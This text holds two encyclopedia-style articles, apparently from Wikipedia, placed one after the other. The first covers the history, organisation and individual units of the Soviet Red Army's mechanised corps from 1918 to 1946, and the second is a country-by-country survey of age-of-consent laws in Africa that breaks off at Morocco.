In January 1918, the Russian Red Army established the Soviet of Armored Units (Sovet bronevykh chastey, or Tsentrobron’), later renamed to Central Armored Directorate and then once again to Chief Armored Directorate (Glavnoye bronevoye upravleniye). In December 1920, the Red Army received its first light tanks, assembled at the Sormovo Factory. In 1928, it began the production of the MS-1 tanks (Malyy Soprovozhdeniya 1, 'Small Convoy 1'). In 1929, it established the Central Directorate for Mechanisation and Motorisation of the Workers’ and Peasants’ Red Army. Tanks became a part of the mechanised corps at this point.
During this time, and based on the experience of the Civil War with its sweeping movements of horse-mobile formations, Soviet military theorists such as Vladimir Triandafillov born in Pontus of Greek parents and Konstantin Kalinovsky elaborated the principles of combat use of armored units, which envisioned a large-scale use of tanks in different situations in cooperation with various army units. In the mid-1930s, these ideas found their reflection in the so-called deep operation and deep combat theories. From the second half of the 1920s, tank warfare development took place at Kazan, where the German Reichswehr was allowed to participate.
In 1930, the First Mechanised Brigade had its own tank regiment of 110 tanks. The formation of two mechanized corps was authorized in 1932. The first two corps formed were the 11th Mechanized Corps in the Leningrad Military District and the 45th Mechanized Corps, formed in the Ukrainian Military District. That same year, the Red Army established the Military Academy of Mechanization and Motorization of the Workers’ and Peasants’ Red Army (which existed up until 1998 as the Military Academy of Armored Units named after Rodion Malinovsky). Mikhail Katukov had his first major command as acting commanding officer of the 5th light Tank Brigade of the 45th Mechanized Corps in 1938.
In 1931–1935, the Red Army adopted light, medium, and later heavy tanks of different types. By the beginning of the 1936, it already had four mechanised corps, six separate mechanised brigades, six separate tank regiments, fifteen mechanised regiments within cavalry divisions and considerable number of tank battalions and companies. The creation of mechanised and tank units marked the dawn of a new branch of armed forces, which would be called armored forces. In 1937, the Central Directorate of Mechanization and Motorization was renamed to Directorate of Automotive Armored Units (Avtobronetankovoye upravleniye) and then to Chief Directorate of Automotive Armored Units (Glavnoye avtobronetankovoye upravleniye), headed by Dmitry Pavlov. This was carried out under Marshal Tukhachevsky, one of the generals shot in June 1937 in the Great Purge.
Soviet armored units gained some combat experience during the Battle of Lake Khasan (1938), the Battle of Khalkhin Gol (1939) and the Winter War with Finland (1939–1940). But these operations and also observation of the Spanish Civil War, led People’s Commissar for Defence Marshal Voroshilov to the conclusion that the mechanised corps formations were too cumbersome. A decision was taken to disband them in November 1939, and to distribute their units among infantry. This was a mistake, as the success of German panzer divisions in France showed, and in May 1940 Voroshilov was replaced by Marshal Timoshenko. Future Marshal Zhukov had drawn different conclusions from his own experience at Khalkhin Gol and from the other battles.
The decision was reversed, and on 6 July 1940 the NKO ordered the formation of nine new mechanised corps, and in February and March 1941, began forming an additional 20. By June 1941, 29 existed in the Red Army, although the degree of staffing they had significantly varied. However, there was not enough time before the German attack in June 1941 to reform the mechanised corps units fully and for them to reach their former efficiency.
Period 1940–41
In June 1941 there were twenty-nine mechanised corps in various stages of formation. The plan was for each of them to have about 36,000 men and 1,000 tanks, and a few approached that strength level by the time war with Germany broke out. Of this number, two formations especially stood out: 4th and 6th Mechanized Corps. On 22 June 1941 each of these was fully formed, armed with more than 900 operational tanks, and stationed not further than 100–300 kilometers from the border. Considering the armor qualities, each of these formations had a substantial concentration of the T-34 and KV-1 tanks. Both of these formations, having more than 350 of the T-34 plus KV-1, could be reasonably expected to break through any German Panzer Corps of the time, not to say Army Corps. Such estimation is based on sheer number of concentrated tanks, their main armament, the thickness of their armor, their actual failure rate, the eventual losses to aircraft, and normal scheduled maintenance. What it does not count are human-related factors.
That being said, during the war against the Axis, all mechanised corps stationed in frontline areas were destroyed during the early phase of the invasion of the Soviet Union (including 4th and 6th), and less than a month after the attack, the Red Army formally abolished the Mechanised Corps as a formation type. Remaining tanks were concentrated in smaller formations that were easier to handle.
Period 1942–46
In September 1942, the General Headquarters (Stavka) authorized the formation of a new type of mechanised corps which was to become the main operational mechanised formation for the remainder of the war. They were about the same size as a German panzer division, and designed as a true combined-arms formation with a good balance of armor, infantry, and artillery. Mechanised corps were not to be used in breakthrough battles, but only in the exploitation phase of an operation. They shared with the new Tank Corps a four-manoeuvre-brigade structure – three mechanised brigades and one tank brigade, plus an anti-tank regiment, artillery, and other support units. The new tank corps had three tank brigades and one mechanised brigade.
A total of thirteen mechanised corps were formed during the war against the Axis nations, nine of them becoming guards mechanised corps. A further corps, the 10th Mechanised Corps, was formed in June 1945 and saw action during the Soviet invasion of Manchuria. The 1st, 3rd, and 9th Guards Mechanised Corps were equipped with Lend Lease tanks, Sherman M4A2. The mechanised corps were converted to mechanised divisions relatively quickly after the war – by 1946 in most cases.
Composition of a mechanised corps (1941)
2 Tank Divisions
2 Tank Regiments
Motorized Rifle Regiment
Motorized Howitzer Regiment
Division Troops
Antiaircraft Battalion
Armored Reconnaissance Battalion
Truck Battalion
Maintenance Battalion
Medical Battalion
1 Motorized Division
2 Motorized Rifle Regiments
Light Tank Regiment
Motorized Artillery Regiment
Division Troops
Antitank Battalion
Antiaircraft Battalion
Reconnaissance Battalion
Truck Battalion
Division Trains
Corps Troops
1 Motorcycle Regiment
1 Signal Battalion
1 Motorized Engineer Battalion
1 Aviation Troop
Total
1,031 Tanks (420 T-34s, 126 KVs, 485 Light tanks)
36,100 personnel
5 Tank Regiments with 20 Tank Battalions
4 Motorized Rifle Regiments with 12 Motorized Rifle Battalions
3 Motorized Artillery/Howitzer Regiments with 6 Artillery Battalions
The formation was seen as very tank-heavy, lacking sufficient infantry or artillery to support the tank formations. The 1942 order of battle was much more flexible.
Composition of a mechanised corps (1944)
3 Mechanised Brigades
1 Tank Regiment
3 Motorized Rifle Battalions
1 Submachine Gun Company
1 Antitank Rifle Company
1 Mortar Battalion
1 Artillery Battalion
1 Anti Aircraft Machine Gun Company
1 Pioneer Mine Company
1 Trains Company
1 Medical Platoon
1 Tank Brigade
3 Tank Battalions
1 Motorized Submachine Gun Battalion
1 Anti-aircraft Machine Gun Company
1 Trains Company
1 Medical Platoon
3 Assault Gun Regiments
1 Motorcycle Battalion
1 Mortar Regiment
1 Anti-aircraft Regiment
1 Rocket Launcher Battalion
Total:
246 Armored Fighting Vehicles (186 T-34, 21 SU-76, 21 ISU-122, 21 ISU-152)
16,438 personnel
3 Tank Regiments and 3 Tank Battalions
9 Motorised Rifle Battalions and 1 Motorised Submachine Gun Battalion
3 Motorised Artillery Battalions
List of Soviet mechanised corps
The listing and data here are drawn from Keith E. Bonn, Slaughterhouse: Handbook of the Eastern Front, Aberjona Press, Bedford, PA, 2005, and V.I. Feskov et al., The Soviet Army during the Period of the Cold War, Tomsk University Press, Tomsk, 2004 (mostly pages 71–75).
1st Mechanised Corps – formed January 1941, at Pskov in the Leningrad Military District/Soviet Northern Front in June 1941. Disbanded in August. Reformed August 1942. Circa 1946 became 1st Mechanised Division, and after a brief period as 19th Motor Rifle Division in 1965 became 35th Motor Rifle Division. Served much of the Cold War with 20th Guards Army in GSFG.
2nd Mechanised Corps – 9th Army, Odessa Military District – On June 22, 1941, the 2nd Mechanised Corps was stationed in the Odessa district near Kisjinov. Comprised 11th Tank Division, 16th Tank Division, and 15th Mechanised Division. The corps was lightly involved until about the middle of July, when it was heavily engaged. By 7–8 August, the 2nd Mechanised Corps was totally destroyed.
3rd Mechanised Corps– 11th Army, Baltic Military District June 1941. Was encircled & largely destroyed at the Battle of Raseiniai in June 1941. Reformed Oct 1942 and became 8 GMC Oct 1943.
4th Mechanised Corps – formed Jan 41 and began war, under command of General Major Andrey Vlasov, with 6th Army, at Lvov in the Kiev Military District. Disbanded August, but reformed in Sept 1942 and became 3rd Guards Mech Corps.
5th Mechanised Corps – started the war in the Transbaikal Military District. Was with 16th Army on 1 July 1941. Consisted of 13th and 17th Tank Divisions and the 109th Mechanised Division. 126th Corps Artillery Regiment and the 112th Separate Anti-aircraft Artillery Battalion. Disbanded August 1941, reformed in Nov 1942, and in Sept 1944 converted to 9th Guards Mechanised Corps
6th Mechanised Corps – formed June 1940 and started war with 10th Army, but disbanded or destroyed by end of July 1941. Reformed in November 1942, and in January 1943 converted into 5th Guards Mech Corps, which became 5th Guards Mech Division after the war, and after a brief period as 53rd Guards Motor Rifle Division from 1957 to 1965, became 5th Guards MRD and served with 40th Army at Shindand in Afghanistan for some years.
7th Mechanised Corps – started war in the Moscow Military District, under General Major V.I. Vinogradov. Comprised 14th and 18th Tank Divisions and 1st Moscow Motor Rifle Division, plus 9th Motorcycle Regiment. Disbanded and staff used to form 16th Army (Second Formation) August 1941. Reformed August 1943. After the war converted to 7th Mech Div with 5th Army in the Far East, but then disbanded in 1957.
8th Mechanised Corps – July 1940 – August 1941 in Kiev Special MD/Soviet Southwestern Front, including 12th Tank Division, 34th Tank Division, and 7th Mechanized Division. Destroyed in battle or disbanded. Reestablished August 1943. After war became 8th Mechanized Division, then 28th Tank Division, serving in the Belorussian Military District.
9th Mechanised Corps – formed November 1940. Started Barbarossa with 5th Army; disbanded Aug 1941. Reformed August 1943; assigned to 3rd Guards Tank Army until the end of the war. Took part in the clearing of left and right bank Ukraine, Lvov-Sandomir, Sandomir-Silesia, Lower Silesia, Berlin, and Prague offensives. In 1944 gained the names Zhitomir and Kiev as honorifics. Became 9th Mechanised Division, then 82nd Motor Rifle Division, before being disbanded in 1958 in the GSFG, still with 3 GTA.
10th Mechanized Corps – acting as Northern Front reserve in 1941 (21st, 24th TDs). Second establishment became 10th Mechanised Division after war, 84th MRD in 1957, 121st MRD in 1965, and finally 121st MRTD in the Far Eastern Military District.
11th Mechanised Corps – started Barbarossa with 3rd Army. Active March–August 1941, then disbanded.
12th Mechanized Corps – formed March 1941. Started Barbarossa with 8th Army, Baltic Military District & was disbanded following the Battle of Raseiniai in August 1941
13th Mechanised Corps – formed March 1941. Started war with 10th Army in the Western Front. Consisted of 25th and 31st Tank Division and 208th Motorised Division. Disbanded August 1941. This corps should not be confused with 13th Tank Corps, which was reorganised as a mechanised corps without a change of number in November 1942.
14th Mechanised Corps – activated March 1941. With 4th Army June 1941. Disbanded July.
15th Mechanised Corps
16th Mechanised Corps
17th Mechanised Corps formed March 1941. Destroyed in the Battle of Białystok–Minsk and Battle of Smolensk . Became 147th Tank Brigade 1 August 1941.
18th Mechanised Corps
19th Mechanised Corps
20th Mechanised Corps formed March 1941. Destroyed in the Battle of Białystok–Minsk.
21st Mechanised Corps – formed March 1941. Fought in Battle of Raseiniai June 1941. Disbanded Aug 1941.
22nd Mechanised Corps
23rd Mechanised Corps – 48th and 51st Tank Divisions and 220th Mechanised Division. Does not appear to have fought as a formation. By 1 August 1941, the corps appears to have been dispersed, with 48th Tank Division in 22nd Army of Western Front, 220th Division, now a standard rifle division, part of 32nd Army of Reserve Front, and 51st Tank Division having been redesignated (possibly as 108th or 110th Tank Division.) 51st Tank Division's prewar headquarters was at Bryansk. With the outbreak of hostilities it was a part of a corps of the 24th Army, but on 01.07.1941, was reassigned to the 19th Army. Most parts of the division remained on peacetime levels of equipment, and suffered shortages. For example, the nominal demand for motor vehicles on 03.07.1941 was 80%. For these reasons, the division remained raising its readiness near Rzhev, where Glantz notes it was to 'support the newly formed reserve armies' (BD p. 92). An exception was the 102nd Tank Regiment, which commanded by the 23rd Mechanized Corps was directed at Vitebsk, where it participated in the 10 July 1941 unsuccessful attempts to dislodge the enemy from the bridgehead on the eastern part of the city (see :ru:Витебское сражение), along with the 220th Motor Rifle Division. (Source Ruwiki, 51st Tank Division)
24th Mechanised Corps – comprised 45th and 49th Tank Divisions & 216th Motorised Division, within the Kiev Special Military District on June 22, 1941.
25th Mechanised Corps – 50th TD eventually became 150th Tank Bn and was then destroyed at Vyazma in October 1941. 55th TD was destroyed at Chernigov in August 1941, and was reformed as the 8th and 14th Separate Tank Battalions. 219th Motorized Division was destroyed at Chernigov in August 1941.
26th Mechanised Corps – included 52nd and 56th Tank Divisions, 103rd Rifle Division, and 27th Motorcycle Regiment. North Caucasus Military District. Destroyed at Vyazma in October 1941.
27th Mechanised Corps – included 9th Tank Division. 53rd Tank Division, 221st Motorised Division under General Major I.E. Petrov. Central Asian Military District In July 1941 the 9th and 53rd TDs became the 104th and 105th TDs respectively. By July the 221st Motorized Division had been 'disbanded', according to Glantz in Stumbling Colossus. By September the 104th and 105th TDs became the 145th and 146th Tank Brigades, respectively, and then in October the corps was destroyed at Vyazma.
28th Mechanised Corps – General Major V.V. Novikov, 6th Tank Division, 54th Tank Division, 236th Motorized Division, Transcaucasus Military District.
29th Mechanised Corps – formed March 1941, disbanded 7 May 1941
30th Mechanised Corps – active March–June 1941 in the Far East Military District LTG V.S. Golubovskiy. 58th Tank Division, 60th Tank Division, 239th Motorized Division.
Guards
1st Guards Mechanised Corps – formed 24 October 1942 from the 1st Guards Rifle Division. Became 1st Guards Mechanised Division in July 1945. Became 2nd Guards Motor Rifle Division on 25 June 1957. It was converted into the 2nd Guards Training Motor Rifle Division on 4 May 1962, 16th Guards Training Motor Rifle Division on 17 November 1964, then 100th Guards Training Motor Rifle Division on 3 November 1967.
2nd Guards Mechanised Corps – formed Nov 1942 in Tambov region. Assigned in sequence to the Stalingrad, Southern, 4th, 3rd, and 2nd Ukrainian Fronts. 1945 took part in the Budapest, Bratislava-Brno, Prague, and Vienna operations. Became 2nd Guards Mechanised Division after the war, and then c. 1957 became 19th Guards Tank Division in Southern Group of Forces.
3rd Guards Mechanised Corps – formed from the 28th Tank Corps on 18 December 1942. Converted into the 3rd Guards Mechanised Division in November 1945. Became 47th Guards Motor Rifle Division 1957 and disbanded in 1959.
4th Guards Mechanised Corps – formed from 13th Tank Corps. Circa 1946 4th Guards Mechanised Division. Redesignated 5 June 1957 as 63rd Guards Motor Rifle Division at Lugansk, Kiev Military District. On 17 December 1964 redesignated 4th Guards Motor Rifle Division. On 15 February 1980 transferred to Termez, Surkhandar'inskaya Oblast, Turkestan Military District, to replace 108th Motor Rifle Division which had been sent to Afghanistan. The division's 15th Guards Motor Rifle Regiment was left behind, and was replaced by a new 1213th Motor Rifle Regiment, activated in Termez. Disbanded in March 1989 and parts absorbed by returning 108th Motor Rifle Division.
5th Guards Mechanised Corps – formed from the 6th Mechanized Corps created in June 1940 and started war with 10th Army, but disbanded or destroyed by end of July 1941. The corps was reformed in November 1942 under the same name, but with a different organizational structure. In January 1943, the 6th Mechanized Corps was granted "Guards" status and became the 5th Guards Mechanized Corps. It was renamed the 5th Guards Mechanized Division in 1945 and after a brief period as 53rd Guards Motor Rifle Division from 1957 to 1965, subsequently the 5th Guards Motor Rifle Division in 1965 and served with 40th Army at Shindand in Afghanistan for some years.
6th Guards Mechanised Corps – formed on 17 June 1943 from the 3rd Guards Motor Rifle Division. Converted into the 6th Guards Mechanised Division on 10 June 1945 with 4th Guards Tank Army. Became 6th Guards Motor Rifle Division on 30 April 1957 and 90th Guards Tank Division on 8 February 1985.
7th Guards Mechanised Corps – formed from the 2nd Mechanised Corps on 26 July 1943. Honorifics "Kuzbass-Nezhin". Converted into the 7th Guards Mechanised Division on 10 June 1945 with 4th Guards Tank Army. Became 11th Guards Motor Rifle Division on 30 April 1957.
8th Guards Mechanised Corps – formed from 3rd Mechanised Corps October 1943, after having taken part in the Battle of Kursk. From its formation to the end of the war, the Corps served with 1st Guards Tank Army. In April 1944 awarded 'Carpathian' honorific. On 10 June 1945, it became the 8th Guards Mechanised Division. Converted into the 20th Guards Motor Rifle Division in 1957, serving with 1st Guards Tank Army in Group of Soviet Forces in Germany postwar.
9th Guards Mechanised Corps – formed from the 5th Mechanised Corps (Third Formation) on 12 September 1944. Became 9th Guards Mechanised Division by October 1945, then 9th Guards Motor Rifle Division in 1957. The division was disbanded on 1 November 1958 while serving with the 6th Guards Tank Army in the Transbaikal Military District at Sainshand.
See also
Cavalry corps (Soviet Union)
Rifle corps (Soviet Union)
Tank corps (Soviet Union)
References
Sources and further reading
Evgeniĭ Drig, Механизированные корпуса РККА в бою : история автобронетанковых войск Красной Армии в 1940–1941 годах /[Mekhanizirovannye korpusa RKKA v boi︠u︡ : istorii︠a︡ avtobronetankovykh voĭsk Krasnoĭ Armii v 1940–1941 godakh],АСТ : Транзиткнига, Moskva : AST : Tranzitkniga, 2005.
Glantz, David, The Initial Period of War on the Eastern Front, 22 June–August 1941, p. 19
Page, J. and Bean, Tim, Russian Tanks of World War II, Zenith Press
Sharp, Charles, Soviet Armor Tactics in World War II: Red Army Armor Tactics from Individual Vehicle to Company from the Combat Regulations of 1944
Sharp, Charles, Soviet Order of Battle in World War II Vol 1: The Deadly Beginning: Soviet Tank, Mechanized, Motorized Divisions and Tank Brigades of 1940–1942
Zaloga, Steven & Ness, Leland The Red Army Handbook
Axis History Forum discussion on Mech Corps
External links
"Through the Furnace of War" – Article on the development of Red Army armoured formations
Dupuy Institute Forum Discussion on Tank/Mech Corps
Article on the History of Red Army Mechanized Forces
Tank equipment of 1940–1941 Mech Corps
http://niehorster.org/012_ussr/41_organ/corps_mech/mc.html Niehorster on Mechanised Corps
Army corps of the Soviet Union
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https://en.wikipedia.org/wiki/Ages%20of%20consent%20in%20Africa
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Ages of consent in Africa
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The age of consent in Africa for sexual activity varies by jurisdiction across the continent, codified in laws which may also stipulate the specific activities that are permitted or the gender of participants for different ages. Other variables may exist, such as close-in-age exemptions.
Six nations in Africa (Benin, the Democratic Republic of the Congo, Gabon, Ivory Coast, Niger and Madagascar) have a higher age of consent for same-sex sexual relations than opposite-sex ones; every other African country either has an equal age of consent for both acts or bans homosexual acts altogheter regardless of age.
The highlighted age refers to an age at or above which an individual can engage in unfettered sexual relations with another person who is also at or above that age. Other variables are stated when relevant.
Summary
Scope: all jurisdictions per list of sovereign states and dependent territories in Africa.
Definitions
Table
Algeria
The age of consent in Algeria is 16 for vaginal intercourse, as specified in Article 334 of the penal code.
"Heterosexual Sodomy" is illegal, Article 338 of the Penal Code. As well as all same-sex sexual conduct, Article 338, and "outrages to public decency", Article 333. The punishment for both the first two activities with those under 19 years of age is more severe for the older participant.
Angola
The age of consent in Angola is 14 but sexual activity with persons under 16 is prohibited if a person over 18 years of age "takes advantage of their inexperience or a situation of particular need".
These laws are covered under articles 192 and 193 of the penal code—sexual abuse of a minor under 14, and sexual abuse of a minor under 16.
Some online sources incorrectly list the age of consent as 12, but article 192 criminalizes all sexual acts with persons under 14 (penalties are aggravated if there is penetration or if the victim is under 12).
A new penal code which comes into effect in February 2021 adds protections for sexual orientation and removes criminalizing “vices against nature”, which had been used to criminalize same-sex sexual activity.
Benin
The age of consent in Benin is 16 for females, per Article 3 of The Law on the Prevention and Punishment of Violence against Women.
The age of consent for homosexual acts ("indecent acts or acts against nature") is 21.
Botswana
The age of consent is 18, as of the Penal Code Amendment Bill 2018. Same-sex relationships have been legal since 2019.
Burkina Faso
The age of consent is equally set at 18 regardless of gender.
Section 533-4 of the penal code criminalizes "indecent assaults" against minors at least 15 but less than 18.
Section 533-19 makes it illegal to incite to debauchery or promote the corruption of minors.
Burundi
Under the new Penal Code of 2009 (in French), the age of consent in Burundi for heterosexuals (both men and women) is 18 years. However, under Article 567, homosexual acts (both men and women) carry a fine of up to 100,000 Burundian francs and up to 3 years' imprisonment.
Cameroon
The minimum age of consent in Cameroon is 16, as specified in article 346 of the 2016 penal code.
However, article 344 of the same code states; "Whoever, in order to satisfy the desires of another person, habitually excites, encourages or facilitates the debauch or corruption of any person under (?) years of age...".
This appears subjective as to what acts, in what situations, may be considered to encourage debauchery or corruption (when involving minors aged 16 or above). An additional concern—and the reason for the question mark above—is that the original French version of the text lists the age of persons who may not be corrupted as those "under 21" (the age of majority in Cameroon), but the English version lists the age as "under 18".
Cape Verde
The age of consent in Cape Verde is 14 regardless of sexual orientation and/or gender, with partial protections for those under age 16.
Sexual relations with a child under age 14 are considered a public crime and invoke mandatory reporting from anyone who becomes aware of the crime.
Article 144 of the penal code makes it illegal to engage in sexual acts with persons younger than 14.
Article 145 makes it illegal to engage in sexual acts with a 14- to 15-year-old if, being an adult, the offender takes advantage of their superiority (power or control) in the relationship, or if the victim is entrusted to them for education or assistance.
Central African Republic
The minimum age of sexual consent is 18 years of age regardless of gender. This is established in the Penal Code under chapter 5, Article 86 (any indecent assault or attempt without violence).
Article 87 specifies that any indecent assault against a person younger than 15 is considered rape, and the punishment is more severe than in the previous article.
Chad
The age of consent in Chad appears to be 16.
Article 359 of the 2017 penal code penalizes sexual relations with persons younger than 13 years with 2–10 years in prison.
Article 361 penalizes anyone who commits an indecent act in the presence of a person under 16 years of age. Penalties are aggravated if the act is committed with violence. The French wording of the article ("un outrage a la pudeur") can also be translated to indecent exposure, so it is not entirely clear from the text alone whether this applies to consensual acts committed with persons aged 13–15, or simply to acts committed in their presence without their involvement.
Article 354 proscribes 3 months to 2 years' imprisonment for sexual relations with a member of the same sex, thus making homosexuality illegal. Penalties are aggravated if a person involved is under 18 (Article 360).
Finally, Article 363 criminalizes anyone who excites, promotes, or facilitates the "debauchery" of anyone below the age of civil majority, which is 21 years in Chad.
Comoros
The age of consent in the Comoros is 18.
Article 301 of the penal code punishes any indecent assault (or attempt) irrefutably presumed as without consent against the person of a child of either sex under age 18.
Homosexuality is illegal (Article 300 of the penal code).
Côte d'Ivoire
The minimum age of consent in Côte d'Ivoire for heterosexual sex is 15, regardless of gender.
This is specified in article 356 of the Penal Code, which states that an indecent act against a person under 15—without violence or coercion—will be penalized with 1–3 years' imprisonment.
However, there is also a law (article 337) that forbids "facilitating the corruption or debauchery of youth of either sex below the age of 18 years". What specific acts would run afoul of this law, and under what circumstances, are unclear. It is included in a section of violations against public morality alongside pimping, solicitation, and prostitution offenses.
The age of consent for homosexual activities is higher, being set at 18 by article 358 of the penal code.
Democratic Republic of the Congo
The age of consent in the Democratic Republic of the Congo is 18, regardless of gender. This was established by the Law Relative to Sexual Violence (2006) and the Child Protection Act (2009).
Djibouti
The age of consent is 15, but charges can also be applied to those aged 15–17 if the act "corrupts" or "incites the minor to debauchery".
Although Djiboutian law establishes that parties to a marriage should be 18 or over, there is an exemption in cases where minors may marry with the consent of their guardians. In 2007, 13.6% of married women under the age of 50 married before the age of 18.
There are 3 sections in the 1995 penal code that appear relevant.
Article 464 deals with sexual assault on a person under age 15 without violence or coercion, which sets a strict minimum age of 15.
Article 466 pertains to sexual assault on a minor over 15. However, this section only applies to guardians, people in a position of authority over the victim, or a person who abuses the authority conferred on him by his functions.
Article 162 refers to inciting to debauchery or promoting the corruption of a minor in organizing meetings involving sexual exhibitions or relations in which the minor participates or attends. This charge could be applied to those who engage in sexual activity with minors aged 15–17, though the requirements for "organizing meetings" are not specified.
A new penal code was published in 2011, but the age of consent was unchanged from 15.
Egypt
The age of consent in Egypt is 18 years, for heterosexual males and females. This is outlined in article 269 of the penal code.
Sex work is illegal and the sex work law has been used against male and female homosexuals.
Equatorial Guinea
The age of consent is 18 regardless of sexual orientation and/or gender.
Eritrea
The age of consent in Eritrea appears to be 18, as stipulated by Article 305 of the 2015 penal code, "Sexual outrage on minors between 15 and 18 years of age". This article states that sexual acts with minors of this age is a petty offense punishable by 6–12 months' imprisonment.
Article 311 Consent to Sexual Conduct (1) states that when an accused is charged with an offense under the chapter (chapter 3: sexual offenses, which spans articles 303–311) pertaining to a victim under 15 years, it shall not be a defense that the victim consented, unless the accused is also under age 15 and no more than 1 year older than that person.
Article 311 (3) goes on to state that consent shall not be a defense to charges under articles 309 (homosexuality) or 310 (incest).
Charges pertaining to Article 305 are not mentioned, so it is unclear whether consent may be an affirmative defense to a charge pertaining to minors aged 15–17.
Eswatini
The age of consent is 18, updated as of the SODV (sexual offenses and domestic violence) Act of 2018.
Part II General Sexual Offenses
Under the offense of rape, 3(c) states that an unlawful sexual act includes that which is committed against "a person who is incapable in law of appreciating the nature of the act"
6(e) lists one of the conditions that would render a person incapable as; "a person below the age of 18 years"
Ethiopia
The minimum age for consensual sex is 18 years, as specified in Article 626 of the 2004 Criminal Code—sexual outrages on minor's between 13 and 18 years. Sexual intercourse is punishable with "rigorous imprisonment" for 3–15 years.
The law, however, is not effectively enforced; nearly 20% of girls are married by the age of 15. Early childhood marriage is especially common in rural areas, where some girls are married as young as 7 years old.
French territories
The age of consent in Mayotte, Reunion and the French Southern and Antarctic Lands is 15 as they are under French sovereignty.
Gabon
The minimum age of consent in Gabon is 15 for heterosexual activity and 21 for homosexual activity.
Charges can still apply in certain heterosexual situations involving minors aged 15–17.
Article 258 of the Penal Code (most recently amended in 1969) states that indecent assault without violence on a person under 15 years will be punished with 3–6 years' imprisonment. Whoever commits an indecent act or act against nature on a person of the same sex and under 21 years shall be imprisoned for 1–3 years.
Article 263 prescribes 1–5 years' imprisonment for anyone who "habitually" incites, promotes, or facilitates debauchery or corruption of persons of either sex below age 18. The wording of this article requires multiple acts for a crime to have taken place.
Punishments for other offenses (assault, rape, etc) are aggravated if the victim is younger than 15.
Gambia
The age of consent is 18 for females.
Sexual Offenses Act of 2013, section 5: Defilement of a girl between the ages 16 and 18;
A person who unlawfully has carnal knowledge of a girl between the ages of 16 and 18 commits an offence and is liable on conviction to imprisonment not exceeding 7 years.
It is a defense if the offender had a reasonable belief that the girl in question was 18 or older.
The legal age for non-penetrative sexual contact may be 16. Section 5 requires "carnal knowledge", but section 3 (rape) applies to "sexual acts", which are defined much more broadly and include "any form of genital stimulation", committed against those under age 16.
Section 5 also only applies to female victims, setting the age of consent for males at 16.
Ghana
The age of consent is 16, established in Section 101 (defilement of a child under 16 years of age) of the 1960 Criminal Code.
Guinea
The age of consent is 16.
Article 272 of the penal code states that any indecent act committed without violence against a child of either sex under age 16 is punishable by imprisonment for 3–10 years.
The same punishment applies to indecent acts against minors aged 16–17 if they are committed by an ascendant and the minor is not emancipated by marriage.
Article 355 criminalizes anyone who "habitually" offends against morals by inciting debauchery or promoting the corruption of minors.
Guinea-Bissau
As of the 1993 Penal Code, the minimum age of consent appears to be 12 regardless of sexual orientation and/or gender.
However, additional protections are in place for those under 16 years of age. Article 134 of the code states (approximate translation) that those who practice copulation with females older than 12 but younger than 16 by "taking advantage of their inexperience" are guilty of sexual abuse, punishable by 2 to 8 years' imprisonment, or 1 to 5 years for "significant sexual acts" with males or
females not amounting to copulation. The article also applies to anyone who takes advantage of a person's temporary or permanent physical or mental impairment, but that clause applies regardless of the victim's age.
The third and final paragraph states that if the agent—WITHOUT resorting to violence, serious threat or coercion (the presence of any of those conditions could be charged as rape under Article 133)—engages in copulation or a significant sexual act with a female person, or the latter with a male person, 12 years of age or less, it is presumed, until it is well founded, that he has taken advantage of the victim's incapacity for sexual determination and is punishable by imprisonment of between two and ten years.
Kenya
The age of consent in Kenya is 18 years, as children are defined under 18 and are not able to give consent. Marriage is not possible below the age of 18, the law is clear about this. Homosexuality in Kenya is illegal.
Lesotho
The age of consent is 18 years, regardless of sexual orientation and/or gender.
This is confirmed by articles 48 (indecency with children) and 49 (unlawful sexual intercourse with children) of the Penal Code Act, 2010. A child is defined by the code as anyone under age 18, and both articles specify that consent is irrelevant.
Liberia
The age of consent in Liberia is 18, if the offender is 18 or above. Statutory rape is a first-degree rape offense which carries a maximum sentence of life imprisonment. The age of consent was raised to 18, from 16, in 2009.
Homosexuality is illegal (penal code 14.74 Voluntary Sodomy).
14.75 Corruption of Minors specifies a 5-year "close in age" exception for sexual intercourse when the minor is under age 16, but this would be superseded by the revised rape statute for offenses on or after January 16, 2006 (when the older person is at least 18 years of age).
The age of consent for non-penetrative sexual contact is 16, with the same 5-year exception;
14.77 Sexual Assault
A person who knowingly has sexual contact with another person or causes such other to have sexual contact with him or her, when they are not married to each other has committed a second degree misdemeanor if...
(C) the other person is less than 12 years of age, provided the actor is 16 years of age or older...
(G) the other person is less than 16 years of age and the actor is at least 5 years older than the other person
Libya
During the Gaddafi government, the regular age of consent was 18, but sixteen-year-old girls could be married as long the parents consented. Pre-marital sex was illegal.
After the 2011 revolution, the age of consent limit was removed. Presently, there is no defined age of consent, although sex is not allowed outside of marriage. However, the law is practically never enforced due to the Libyan Civil War.
Madagascar
Age of consent is 14 years, according to article 331 in the Criminal Law. In certain cases, including relatives and homosexuals, it is 21 years.
Malawi
The age of consent for heterosexual sex is 16 regardless of gender.
It was raised from 13 to 16 via an Amendment to the penal code in 2011. The relevant articles are 138 (dealing with sexual intercourse) and 160 (any other sexual contact).
Mali
The age of consent is set at 15, regardless of gender and/or sexual orientation.
Article 225 of the updated 2001 Penal Code states that indecent assault committed against a child under age 15 without violence is punishable by 5–10 years' imprisonment.
Indecent acts with minors at least 15 but under 21 without violence are illegal if the offender is an ascendant, a person in a position of authority (such as an employer), or a person responsible for education or supervision.
Mauritania
The age of consent is 18.
Code of Judicial Protection of Children, 2005
Article 1: For the purposes of this Ordinance, every human being under eighteen years is a child and shall be registered immediately after birth
Article 26: Sexual assault other than rape is punishable by two to four years' imprisonment and 120,000 to 160,000 ouguiyas fine when committed against a child.
Acts of sexual touching of any nature whatsoever, committed against a child constitutes the crime of pedophilia and sentenced to 5 years' imprisonment and a fine of 200,000 ouguiyas.
However, under section 306 of the Legal Code, any act that violates Islamic morality is illegal, but a clear definition of morality does not exist in the country's laws, so it is very open to interpretation by local officials as to what is moral and what is not. Thus, many acts surrounding the age of consent could be considered illegal. The same article punishes any "indecent assault" with penalties of 1 month to 2 years' imprisonment, but indecent assault is not clearly defined either.
Section 307 (zina) criminalizes all premarital sex, but it only applies to Muslims.
Mauritius
The age of consent in Mauritius is 16 regardless of sexual orientation and/or gender.
Article 249 'Rape, attempt upon chastity and illegal sexual intercourse' of the Penal Code:
(...) Any person who has sexual intercourse with a female under the age of sixteen (16), even with consent, shall be liable to penal servitude not exceeding ten (10) years.
Madeira (Portugal)
The age of consent in Madeira is 14 years, regardless of sexual orientation and/or gender, as it is under Portuguese sovereignty.
Morocco
Premarital sex is illegal in Morocco, with punishment of 1 month to 1 year's imprisonment (Penal Code Article 490).
